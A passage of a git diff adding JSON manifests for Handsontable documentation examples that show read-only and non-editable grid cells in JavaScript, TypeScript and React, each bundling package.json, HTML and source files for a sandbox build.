JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example2.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.ts.json new file mode 100644 index 00000000..fd9a18bc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example2.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.js.json new file mode 100644 index 00000000..dacc0618 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst dimmedTextRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.opacity = '0.6';\n};\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example3.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.ts.json new file mode 100644 index 00000000..8ace7ceb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example3.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.js.json new file mode 100644 index 00000000..b22b15c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example4.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.ts.json new file mode 100644 index 00000000..cf070fb2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop as string) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example4.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.js.json new file mode 100644 index 00000000..ccde4ec9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nhot.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example5.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.ts.json new file mode 100644 index 00000000..94944e44 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example5.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json new file mode 100644 index 00000000..721ea8df --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid');\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json new file mode 100644 index 00000000..5687deda --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example1.tsx.json new file mode 100644 index 00000000..2c2ef03e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example1.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example2.tsx.json new file mode 100644 index 00000000..cdb9e97f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
